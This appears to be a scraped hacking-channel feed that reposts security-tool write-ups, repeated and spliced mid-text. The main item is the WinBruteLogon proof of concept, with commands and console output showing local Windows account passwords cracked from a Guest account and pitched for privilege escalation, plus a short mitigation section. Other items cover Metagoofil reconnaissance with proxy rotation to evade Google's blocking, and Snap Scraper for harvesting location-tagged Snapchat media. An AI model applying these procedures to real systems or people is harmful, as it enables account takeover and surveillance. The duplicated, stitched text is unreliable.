This PoC was ported in pure PowerShell: https://github.com/DarkCoderSc/power-brute-logon
Win Brute Logon (Proof Of Concept) Release date: 2020-05-14 Target: Windows XP to Latest Windows 10 (https://www.kitploit.com/search/label/Windows%2010) Version (1909) Weakness location : LogonUserA, LogonUserW, CreateProcessWithLogonA, CreateProcessWithLogonW Usage Wordlist File WinBruteLogon.exe -u -w Stdin Wordlist type | WinBruteLogon.exe -u - ChangeLog 2020/05/23 Now support stdin for wordlist. Few code optimization. Introduction This PoC is more what I would call a serious weakness in Microsoft Windows Authentication (https://www.kitploit.com/search/label/Authentication) mechanism than a vulnerability. The biggest issue is related to the lack of privilege required to perform such actions. Indeed, from a Guest account (The most limited account on Microsoft Windows), you can crack the password of any available local users. Find out which users exists using command : net user This PoC is using multithreading (https://www.kitploit.com/search/label/Multithreading) to speed up the process and support both 32 and 64bit. PoC Test Scenario (With a Guest Account) Tested on Windows 10 Install and configure a freshly updated Windows 10 virtual or physical machine. In my case full Windows version was : 1909 (OS Build 18363.778) Log as administrator and lets create two different accounts : one administrator and one regular user. Both users are local. /!\ Important notice: I used the Guest account for the demo but this PoC is not only limited to Guest account, it will work from any account / group (guest user / regular user / admin user etc...) Create a new admin user net user darkcodersc /add net user darkcodersc trousers (trousers is the password) net localgroup administrators (https://www.kitploit.com/search/label/Administrators) darkcodersc /add Create a regular user net user HackMe /add net user HackMe ozlq6qwm (ozlq6qwm is the password) Create a new Guest account net user GuestUser /add net localgroup users GuestUser /delete net localgroup guests GuestUser /add Get a Wordlist In my case both trousers and ozlq6qwm are in SecList : https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt Start the attack Logoff from administrator account or restart your machine and log to the Guest account. Place the PoC executable anywhere you have access as Guest user. Usage : WinBruteLogon.exe -v -u -w -v is optional, it design the verbose mode. By default, domain name is the value designated by %USERDOMAIN% env var. You can specify a custom name with option -d Crack First User : darkcodersc (Administrator) prompt(guest)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt Wait few seconds to see the following result: [ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
Crack Second User : HackMe (Regular User) prompt(guest)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt Wait few seconds to see the following result: [ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
___________________________
@hacking_Attack
@Hacking_Video
Win Brute Logon (Proof Of Concept) Release date: 2020-05-14 Target: Windows XP to Latest Windows 10 (https://www.kitploit.com/search/label/Windows%2010) Version (1909) Weakness location : LogonUserA, LogonUserW, CreateProcessWithLogonA, CreateProcessWithLogonW Usage Wordlist File WinBruteLogon.exe -u -w Stdin Wordlist type | WinBruteLogon.exe -u - ChangeLog 2020/05/23 Now support stdin for wordlist. Few code optimization. Introduction This PoC is more what I would call a serious weakness in Microsoft Windows Authentication (https://www.kitploit.com/search/label/Authentication) mechanism than a vulnerability. The biggest issue is related to the lack of privilege required to perform such actions. Indeed, from a Guest account (The most limited account on Microsoft Windows), you can crack the password of any available local users. Find out which users exists using command : net user This PoC is using multithreading (https://www.kitploit.com/search/label/Multithreading) to speed up the process and support both 32 and 64bit. PoC Test Scenario (With a Guest Account) Tested on Windows 10 Install and configure a freshly updated Windows 10 virtual or physical machine. In my case full Windows version was : 1909 (OS Build 18363.778) Log as administrator and lets create two different accounts : one administrator and one regular user. Both users are local. /!\ Important notice: I used the Guest account for the demo but this PoC is not only limited to Guest account, it will work from any account / group (guest user / regular user / admin user etc...) Create a new admin user net user darkcodersc /add net user darkcodersc trousers (trousers is the password) net localgroup administrators (https://www.kitploit.com/search/label/Administrators) darkcodersc /add Create a regular user net user HackMe /add net user HackMe ozlq6qwm (ozlq6qwm is the password) Create a new Guest account net user GuestUser /add net localgroup users GuestUser /delete net localgroup guests GuestUser /add Get a Wordlist In my case both trousers and ozlq6qwm are in SecList : https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt Start the attack Logoff from administrator account or restart your machine and log to the Guest account. Place the PoC executable anywhere you have access as Guest user. Usage : WinBruteLogon.exe -v -u -w -v is optional, it design the verbose mode. By default, domain name is the value designated by %USERDOMAIN% env var. You can specify a custom name with option -d Crack First User : darkcodersc (Administrator) prompt(guest)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt Wait few seconds to see the following result: [ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
Crack Second User : HackMe (Regular User) prompt(guest)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt Wait few seconds to see the following result: [ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
___________________________
@hacking_Attack
@Hacking_Video
GitHub
GitHub - DarkCoderSc/PowerBruteLogon: PowerBruteLogon (Ported version of WinBruteLogon in pure PowerShell)
PowerBruteLogon (Ported version of WinBruteLogon in pure PowerShell) - GitHub - DarkCoderSc/PowerBruteLogon: PowerBruteLogon (Ported version of WinBruteLogon in pure PowerShell)
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
Real world scenario If you gain access to a low privileged user, you could crack the password of a more privileged user and escalate your privilege. Mitigation (General) Disable guest(s) account(s) if present. Application white-listing. Follow the guidelines to create and keep a password strong. Apply this to all users. Implement Security Lockout Policy (Not present by default) Open secpol.msc then go to Account Policies > Account Lockout Policy and edit value Account lockout threshold with desired value from (1 to 999). Value represent the number of possible attempt before getting locked. /!\ LockDown Policy wont work on Administrator account. At this moment, best protection (https://www.kitploit.com/search/label/Protection) for Administrator account (if Enabled) is to setup a very complex password. Weakness Report A report was sent to Microsoft Security Team. They should at least implement by default account lockout. Actually it is not.
Download Win-Brute-Logon (https://github.com/DarkCoderSc/win-brute-logon)
___________________________
@hacking_Attack
@Hacking_Video
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
Real world scenario If you gain access to a low privileged user, you could crack the password of a more privileged user and escalate your privilege. Mitigation (General) Disable guest(s) account(s) if present. Application white-listing. Follow the guidelines to create and keep a password strong. Apply this to all users. Implement Security Lockout Policy (Not present by default) Open secpol.msc then go to Account Policies > Account Lockout Policy and edit value Account lockout threshold with desired value from (1 to 999). Value represent the number of possible attempt before getting locked. /!\ LockDown Policy wont work on Administrator account. At this moment, best protection (https://www.kitploit.com/search/label/Protection) for Administrator account (if Enabled) is to setup a very complex password. Weakness Report A report was sent to Microsoft Security Team. They should at least implement by default account lockout. Actually it is not.
Download Win-Brute-Logon (https://github.com/DarkCoderSc/win-brute-logon)
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Black Hat Ethical Hacking
Recon Tool: Metagoofil
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Recon Tool: MetagoofilPost Views: 223 https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png Reading Time: 2 Minutes
Recon Tool: Metagoofil GitHub Link MetagoofilIntroductionWhenever you are starting Penetration Testing, the first steps are recon and OSINT. These are the most important ones that would determine how you will proceed next to perform attacks and exploitation. A lot of times sensitive documents and info are publicly available that could contain info impacting your company and often from employees that shared wrongly files or who left the company leaving these traces for attackers to harvest in your recon process.
Metagoofil by opsdisk is an information-gathering tool. It is designed to extract all the metadata information from public documents that are available on websites. This tool uses two libraries to extract data. These are Hachoir and PdfMiner. After extracting all the data, this tool will generate a report which contains usernames, software versions, and servers or machine names that will help Penetration testers in the information-gathering phase. This tool can also extract MAC addresses from Microsoft office documents. It can give information about the hardware of the system by which they generated the report of the tool.
It searches Google for specific types of files being publicly hosted on a web site and optionally downloads them to your local box. This is useful for Open Source Intelligence gathering, penetration tests, or determining what files your organization is leaking to search indexers like Google. As an example, it uses the Google query below to find all the .pdf files being hosted on example.com and optionally downloads a local copy.
Install proxychains4
___________________________
@hacking_Attack
@Hacking_Video
Recon Tool: Metagoofil
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Recon Tool: MetagoofilPost Views: 223 https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png Reading Time: 2 Minutes
Recon Tool: Metagoofil GitHub Link MetagoofilIntroductionWhenever you are starting Penetration Testing, the first steps are recon and OSINT. These are the most important ones that would determine how you will proceed next to perform attacks and exploitation. A lot of times sensitive documents and info are publicly available that could contain info impacting your company and often from employees that shared wrongly files or who left the company leaving these traces for attackers to harvest in your recon process.
Metagoofil by opsdisk is an information-gathering tool. It is designed to extract all the metadata information from public documents that are available on websites. This tool uses two libraries to extract data. These are Hachoir and PdfMiner. After extracting all the data, this tool will generate a report which contains usernames, software versions, and servers or machine names that will help Penetration testers in the information-gathering phase. This tool can also extract MAC addresses from Microsoft office documents. It can give information about the hardware of the system by which they generated the report of the tool.
It searches Google for specific types of files being publicly hosted on a web site and optionally downloads them to your local box. This is useful for Open Source Intelligence gathering, penetration tests, or determining what files your organization is leaking to search indexers like Google. As an example, it uses the Google query below to find all the .pdf files being hosted on example.com and optionally downloads a local copy.
site:example.com filetype:pdfThis is a maintained fork of the original https://github.com/laramies/metagoofil and is currently installed by default on the Kali Operating System https://gitlab.com/kalilinux/packages/metagoofil. Unlike the original, a design decision was made to not do metadata analysis and instead defer to other tools like exiftool. exiftool -r *.doc | egrep -i "Author|Creator|Email|Producer|Template" | sort -uSee Also: Complete Offensive Security and Ethical Hacking Course InstallationClone the git repository and install the requirements git clone https://github.com/opsdisk/metagoofilcd metagoofilvirtualenv -p python3 .venv # If using a virtual environment.source .venv/bin/activate # If using a virtual environment.pip install -r requirements.txtSee Also: Offensive Security Tool: Swaks – Swiss Army Knife for SMTP Docker Installation & Usagegit clone https://github.com/opsdisk/metagoofilcd metagoofildocker build -t metagoofil.# This will save the files in your current directory.docker run -v $PWD:/data metagoofil -d kali.org -t pdfSee Also: Samsung Shattered Encryption on 100M Phones Google is blocking me!If you start getting HTTP 429 errors, Google has rightfully detected you as a bot and will block your IP for a set period of time. One solution is to use proxychains and a bank of proxies to round robin the lookups.Install proxychains4
apt install proxychains4 -yEdit the /etc/proxychains4.conf configuration file to round robin the look ups through different proxy servers. In the example below, 2 different dynamic SOCKS proxies have been set up with different local listening ports (9050 and 9051). If you don’t know how to utilize SSH and dynamic SOCKS proxies, you can pick up a copy of Cyber Plumber’s Handbook and interactive[...]___________________________
@hacking_Attack
@Hacking_Video
Black Hat Ethical Hacking
Recon Tool: Metagoofil | Black Hat Ethical Hacking
Metagoofil is an information-gathering tool. It is designed to extract all the metadata information from public documents that are available on websites.
Hacking Articles Tips Tricks Videos Tutorials
Black Hat Ethical Hacking Recon Tool: Metagoofil https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Recon Tool: MetagoofilPost Views: 223 https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png…
lab to learn all about Secure Shell (SSH) tunneling, port redirection, and bending traffic like a boss.
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Odin-90x90.png OSINT & Recon Tool: Odin1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/pre-90x90.png Offensive Security Tool: Sandbox Defender2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/unknown-90x90.png Offensive Security Tool: Stratus Red Team3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Working-of-Digital-Steganography-90x90.png Offensive Security Tool: Crypto Steganography4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/86676611-2c44d500-bfd1-11ea-87fd-faf874a2dcf2-90x90.png Recon Tool: WitnessMe4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/sqlmap-90x90.png Offensive Security Tool: SQLMap1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/comit_stream-90x90.png OSINT Tool: Commit Stream1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/EDR-Hooked-90x90.png Offensive Security Tool: Ivy1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/osmedeus-details-folder-90x90.png Offensive Security Tool: Osmedeus2 months ago
The post Recon Tool: Metagoofil first appeared on Black Hat Ethical Hacking.
___________________________
@hacking_Attack
@Hacking_Video
vim /etc/proxychains4.confround_robinchain_len = 1proxy_dnsremote_dns_subnet 224tcp_read_time_out 15000tcp_connect_time_out 8000[ProxyList]socks4 127.0.0.1 9050socks4 127.0.0.1 9051Throw proxychains4 in front of the Python script and each lookup will go through a different proxy (and thus source from a different IP). You could even tune down the -e delay time because you will be leveraging different proxy boxes. proxychains4 python metagoofil.py -d https://github.com -f -t pdf,doc,xlsSee Also: How ILOVEYOU worm became the first global computer virus pandemic https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/merch.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/swaks-1-90x90.png Offensive Security Tool: Swaks – Swiss Army Knife for SMTP6 days ago* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Odin-90x90.png OSINT & Recon Tool: Odin1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/pre-90x90.png Offensive Security Tool: Sandbox Defender2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/unknown-90x90.png Offensive Security Tool: Stratus Red Team3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Working-of-Digital-Steganography-90x90.png Offensive Security Tool: Crypto Steganography4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/86676611-2c44d500-bfd1-11ea-87fd-faf874a2dcf2-90x90.png Recon Tool: WitnessMe4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/sqlmap-90x90.png Offensive Security Tool: SQLMap1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/comit_stream-90x90.png OSINT Tool: Commit Stream1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/EDR-Hooked-90x90.png Offensive Security Tool: Ivy1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/osmedeus-details-folder-90x90.png Offensive Security Tool: Osmedeus2 months ago
The post Recon Tool: Metagoofil first appeared on Black Hat Ethical Hacking.
___________________________
@hacking_Attack
@Hacking_Video
Dark Reading: Attacks/Breaches
New York Opens Joint Security Operations Center in NYC
The "first-in-nation" cyber command center will provide municipal and local governments with threat intelligence and resources to defend themselves against cyberattacks.
___________________________
@hacking_Attack
@Hacking_Video
New York Opens Joint Security Operations Center in NYC
The "first-in-nation" cyber command center will provide municipal and local governments with threat intelligence and resources to defend themselves against cyberattacks.
___________________________
@hacking_Attack
@Hacking_Video
Dark Reading
New York Opens Joint Security Operations Center in NYC
The "first-in-nation" cyber command center will provide municipal and local governments with threat intelligence and resources to defend themselves against cyberattacks.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Snap Scraper : Enables Users To Download Media Uploaded To Snapchat’s Snap Map
Snap Scraper is an open source intelligence tool which enables users to download media uploaded to Snapchat’s Snap Map using a set of latitude and longitude co-ordinates. This project is in no way affiliated with, authorized, maintained, sponsored or endorsed by Snap inc. or any of its affiliates or subsidiaries. This program is for education, forensic and bug reporting purposes only and is provided without warranty.
When using this tool please cite the following publication:
* Richard Matthews, Kieren Lovell, Matthew Sorell, Ghost protocol – Snapchat as a method of surveillance, Forensic Science International: Digital Investigation, Volume 36, Supplement, 2021, 301112, ISSN 2666-2817.
Screenshots
https://blogger.googleusercontent.com/img/a/AVvXsEhQRDghWn-yNn7Ju-IhWSQO3GO77kjjM3nl2S3v1lZJbzLlBujq-8p2ztYUe-ckN9ceoi-1_hPBhGJhoBQcZNq-KAgTUg6EhEriTAUw3o6QXeVKY9-9Nr6-FmGaM1kDYlZnKMS5Lrm3ysUvDToPBu_qJvA7c8-W7Ik5dkZDAHvFoJqff6IWKQqhm3I7=s800 https://blogger.googleusercontent.com/img/a/AVvXsEguFN1EuptAOwnG7JxA2tbs52mcuGE0yKcrmsW5qArbla5K2Fd2cxqZlg8raOKqqKFDkth1kMiCwBxWjjFM9BFaaH3wiy9LI4hXWiwaG75wdYCsXLjBqQHBy8Q4B-aAiEDgIWtRWEwvbljbuwERqQBQmDvYJz2Kp4vQ22HZEFMgCUe_dxau5ONZ01qr=s1024
Installation MacOS
Download the current linked binary in the most recent release. Using terminal ensure you change permissions to include the executable permission.
chmod 755 SnapScraper
Optionally, a icon.png file is included which can be used to change the icon of the downloaded executable. Windows/Linux
At this point in time, SnapScraper only supports MacOS. However, dependancies have been checked and users should be able to complile the code on their own file system without any issues. Ensure Alamofire has been installed. Usage
Double click SnapScraper to launch the command line tool. SnapScraper works best when the defaul window size is set to 80×50.
You should be presented with the following window:
https://blogger.googleusercontent.com/img/a/AVvXsEjzw188MnXDgW9O1-kagazP7mTZgkM2SDlJqI8g-_lEi75RtOwrHhGIHZT-Xwcbx_8CWiEqH1beFPdkb-ojUO_jrslSOm2ej2AiJleZGPybuUm1dD9qcaqemKLGFf6AKrOlao7JNA0OJH_-4JQ_Hnt1EYH-Xs2tSmZXECR2N6wRnwzBgxDr8Cw9cnmk=s800
The current options for use are indicated in the command window. Select to option by pressing the required key(s) on the keyboard and pressing enter. Check
The main option users will select will be the check option to locate snap media on the Snap Map. To select this option type ‘c’ followed by the enter key.
SnapScraper will then ask you for a set of longitude and lattitude coordinates which can be obtained from map.snapchat.com as discussed in the publication “Richard Matthews, Kieren Lovell, Matthew Sorell, Ghost protocol – Snapchat as a method of surveillance, Forensic Science International: Digital Investigation, Volume 36, Supplement, 2021, 301112, ISSN 2666-2817, https://doi.org/10.1016/j.fsidi.2021.301112.”. Navigate to map.snapchat.com and note the URL of the location you wish to extract snap media from ie. https://map.snapchat.com/@24.931153,44.873214,6.04z. The coordinates to enter into SnapScraper are located in the URL after the @ symbol. The first number is the lattitude, the second the longitude and the final the zoom level. Lattitude and longitude should be entered into SnapScraper to 6 decimal places while zoom should be entered to 2 decimal places.
When each coordinate is entered into the program SnapScraper will then poll Snap Map for snap media at the desired location. When media is located the meta data of the media will be printed to the command window.
https://blogger.googleusercontent.com/img/a/AVvXsEjLpy8yeTaP6dAn6pjalZS0r-gNC9aG5KisLNhbbqsOyI5ds1_JYHZoRALtDiNl4isEENr0RItzh49jJNb4OfRsLdg4nGaXxoOUqkFGXwOzF6hB0UgGueawSEH7j_ZfQ2w1iSy1DiwVvtiuWQ6pYu31WoC1GdJTlLzxFpPuA1gTtYKJx1x2xp[...]
___________________________
@hacking_Attack
@Hacking_Video
Snap Scraper : Enables Users To Download Media Uploaded To Snapchat’s Snap Map
Snap Scraper is an open source intelligence tool which enables users to download media uploaded to Snapchat’s Snap Map using a set of latitude and longitude co-ordinates. This project is in no way affiliated with, authorized, maintained, sponsored or endorsed by Snap inc. or any of its affiliates or subsidiaries. This program is for education, forensic and bug reporting purposes only and is provided without warranty.
When using this tool please cite the following publication:
* Richard Matthews, Kieren Lovell, Matthew Sorell, Ghost protocol – Snapchat as a method of surveillance, Forensic Science International: Digital Investigation, Volume 36, Supplement, 2021, 301112, ISSN 2666-2817.
Screenshots
https://blogger.googleusercontent.com/img/a/AVvXsEhQRDghWn-yNn7Ju-IhWSQO3GO77kjjM3nl2S3v1lZJbzLlBujq-8p2ztYUe-ckN9ceoi-1_hPBhGJhoBQcZNq-KAgTUg6EhEriTAUw3o6QXeVKY9-9Nr6-FmGaM1kDYlZnKMS5Lrm3ysUvDToPBu_qJvA7c8-W7Ik5dkZDAHvFoJqff6IWKQqhm3I7=s800 https://blogger.googleusercontent.com/img/a/AVvXsEguFN1EuptAOwnG7JxA2tbs52mcuGE0yKcrmsW5qArbla5K2Fd2cxqZlg8raOKqqKFDkth1kMiCwBxWjjFM9BFaaH3wiy9LI4hXWiwaG75wdYCsXLjBqQHBy8Q4B-aAiEDgIWtRWEwvbljbuwERqQBQmDvYJz2Kp4vQ22HZEFMgCUe_dxau5ONZ01qr=s1024
Installation MacOS
Download the current linked binary in the most recent release. Using terminal ensure you change permissions to include the executable permission.
chmod 755 SnapScraper
Optionally, a icon.png file is included which can be used to change the icon of the downloaded executable. Windows/Linux
At this point in time, SnapScraper only supports MacOS. However, dependancies have been checked and users should be able to complile the code on their own file system without any issues. Ensure Alamofire has been installed. Usage
Double click SnapScraper to launch the command line tool. SnapScraper works best when the defaul window size is set to 80×50.
You should be presented with the following window:
https://blogger.googleusercontent.com/img/a/AVvXsEjzw188MnXDgW9O1-kagazP7mTZgkM2SDlJqI8g-_lEi75RtOwrHhGIHZT-Xwcbx_8CWiEqH1beFPdkb-ojUO_jrslSOm2ej2AiJleZGPybuUm1dD9qcaqemKLGFf6AKrOlao7JNA0OJH_-4JQ_Hnt1EYH-Xs2tSmZXECR2N6wRnwzBgxDr8Cw9cnmk=s800
The current options for use are indicated in the command window. Select to option by pressing the required key(s) on the keyboard and pressing enter. Check
The main option users will select will be the check option to locate snap media on the Snap Map. To select this option type ‘c’ followed by the enter key.
SnapScraper will then ask you for a set of longitude and lattitude coordinates which can be obtained from map.snapchat.com as discussed in the publication “Richard Matthews, Kieren Lovell, Matthew Sorell, Ghost protocol – Snapchat as a method of surveillance, Forensic Science International: Digital Investigation, Volume 36, Supplement, 2021, 301112, ISSN 2666-2817, https://doi.org/10.1016/j.fsidi.2021.301112.”. Navigate to map.snapchat.com and note the URL of the location you wish to extract snap media from ie. https://map.snapchat.com/@24.931153,44.873214,6.04z. The coordinates to enter into SnapScraper are located in the URL after the @ symbol. The first number is the lattitude, the second the longitude and the final the zoom level. Lattitude and longitude should be entered into SnapScraper to 6 decimal places while zoom should be entered to 2 decimal places.
When each coordinate is entered into the program SnapScraper will then poll Snap Map for snap media at the desired location. When media is located the meta data of the media will be printed to the command window.
https://blogger.googleusercontent.com/img/a/AVvXsEjLpy8yeTaP6dAn6pjalZS0r-gNC9aG5KisLNhbbqsOyI5ds1_JYHZoRALtDiNl4isEENr0RItzh49jJNb4OfRsLdg4nGaXxoOUqkFGXwOzF6hB0UgGueawSEH7j_ZfQ2w1iSy1DiwVvtiuWQ6pYu31WoC1GdJTlLzxFpPuA1gTtYKJx1x2xp[...]
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
Snap Scraper : Enables Users To Download Media Uploaded To Snapchat
Snap Scraper is an open source intelligence tool which enables users to download media uploaded to Snapchat's Snap Map .
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials Snap Scraper : Enables Users To Download Media Uploaded To Snapchat’s Snap Map Snap Scraper is an open source intelligence tool which enables users to download media uploaded to Snapchat’s Snap Map using a set of latitude and longitude…
-LksUy=s800
Users will then be given the option of printing direct links to the media to the command window. Select y to print these links to the command window or n to skip.
Users will then be given the option to save the links to a text file. Select y to save the file n to skip. File will be saved in the users “Downloads” directory in a folder called “Snapchat”(macOS users only). The file is titled with the current date, time and coordiates of extraction prefixed with the word “listing”.
Finally, users will be asked if they would like to download the media. This is the extraction step with media being saved directly from the URLs indicated in the previous steps. Select y to download, n to skip. Media will be saved in a folder titled with the current date, time and coordinates of extraction within the “Snapchat” folder previously identified above. Log reporting
Currently log reporting has not been implremented in 0.5.0-b. To save a log of the extraction method use the “export text as” function built in to the terminal.
Finalise the extraction process as above and then quit SnapScraper by selecting “q”. The terminal session will end but the window will remain open as shown.
https://blogger.googleusercontent.com/img/a/AVvXsEj5yYpQPYF5PTkMT-Ka5pPcLry0GMu722d4RLfHhr-ksheRXe1WkGxvtmHtyMV3CervGYed61BBXj0civV9MNZfZZL5lCTy7YjyuNoiSAPKGR8wh3bY1dWjyrJBBlDxYxcrE6zbxBx1Uq--YZ6ljyEay9rlySmK-GCoM6-183ENdIGsgRfsNY80esgh=s800
To save a log of activity navigate to Shell-> Export Text as… A save box will open. Navigate to the Snapchat folder within users Downloads folder and find the recent URL listing that has been saved (if used from previous steps). Click on this file and change the save as file name by removing the prefix word listing to log. This will save a text file contianing the contents of the terminal window and show all activity that was contducted while SnapScraper was run. Other options
SnapScraper has a fully functional menu. Other options include displaying the MIT license, publication information associated with the current release of the tool, information to support the continued development and maintenance and the current development log. To access enter the relevant option keys followed by the enter key. Download
___________________________
@hacking_Attack
@Hacking_Video
Users will then be given the option of printing direct links to the media to the command window. Select y to print these links to the command window or n to skip.
Users will then be given the option to save the links to a text file. Select y to save the file n to skip. File will be saved in the users “Downloads” directory in a folder called “Snapchat”(macOS users only). The file is titled with the current date, time and coordiates of extraction prefixed with the word “listing”.
Finally, users will be asked if they would like to download the media. This is the extraction step with media being saved directly from the URLs indicated in the previous steps. Select y to download, n to skip. Media will be saved in a folder titled with the current date, time and coordinates of extraction within the “Snapchat” folder previously identified above. Log reporting
Currently log reporting has not been implremented in 0.5.0-b. To save a log of the extraction method use the “export text as” function built in to the terminal.
Finalise the extraction process as above and then quit SnapScraper by selecting “q”. The terminal session will end but the window will remain open as shown.
https://blogger.googleusercontent.com/img/a/AVvXsEj5yYpQPYF5PTkMT-Ka5pPcLry0GMu722d4RLfHhr-ksheRXe1WkGxvtmHtyMV3CervGYed61BBXj0civV9MNZfZZL5lCTy7YjyuNoiSAPKGR8wh3bY1dWjyrJBBlDxYxcrE6zbxBx1Uq--YZ6ljyEay9rlySmK-GCoM6-183ENdIGsgRfsNY80esgh=s800
To save a log of activity navigate to Shell-> Export Text as… A save box will open. Navigate to the Snapchat folder within users Downloads folder and find the recent URL listing that has been saved (if used from previous steps). Click on this file and change the save as file name by removing the prefix word listing to log. This will save a text file contianing the contents of the terminal window and show all activity that was contducted while SnapScraper was run. Other options
SnapScraper has a fully functional menu. Other options include displaying the MIT license, publication information associated with the current release of the tool, information to support the continued development and maintenance and the current development log. To access enter the relevant option keys followed by the enter key. Download
___________________________
@hacking_Attack
@Hacking_Video
Mars Protocol offers up to $1 million payout in bug bounty program with Immunefi
https://mars-protocol.medium.com/mars-protocol-offers-up-to-1-million-payout-in-bug-bounty-program-with-immunefi-471f92ae4865?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://mars-protocol.medium.com/mars-protocol-offers-up-to-1-million-payout-in-bug-bounty-program-with-immunefi-471f92ae4865?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
Mars Protocol offers up to $1 million payout in bug bounty program with Immunefi
More than 20 contributors from around the world have spent nearly a year developing Mars from scratch in the Rust programming language…
More than 20 contributors from around the world have spent nearly a year developing Mars from scratch in the Rust programming language…Continue reading on Medium » (https://mars-protocol.medium.com/mars-protocol-offers-up-to-1-million-payout-in-bug-bounty-program-with-immunefi-471f92ae4865?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
Mars Protocol offers up to $1 million payout in bug bounty program with Immunefi
More than 20 contributors from around the world have spent nearly a year developing Mars from scratch in the Rust programming language…
Hacking on Medium
Retro— TryHackMe Walkthrough
https://cdn-images-1.medium.com/max/1557/1*zwG4-tj3KMItjMoC_HYVGQ.png
We are going to complete a very interesting room named “Retro” on TryHackMe
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Retro— TryHackMe Walkthrough
https://cdn-images-1.medium.com/max/1557/1*zwG4-tj3KMItjMoC_HYVGQ.png
We are going to complete a very interesting room named “Retro” on TryHackMe
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Retro— TryHackMe Walkthrough
We are going to complete a very interesting room named “Retro” on TryHackMe
Hacking on Medium
Hackers Are Attacking More Serious Things Now
https://cdn-images-1.medium.com/max/1280/1*zGpYXVzbncHlu6CdiXec3A.jpeg
Digital attacks on cell phones are steadily declining.
Continue reading on Medium »
___________________________
@hacking_Attack
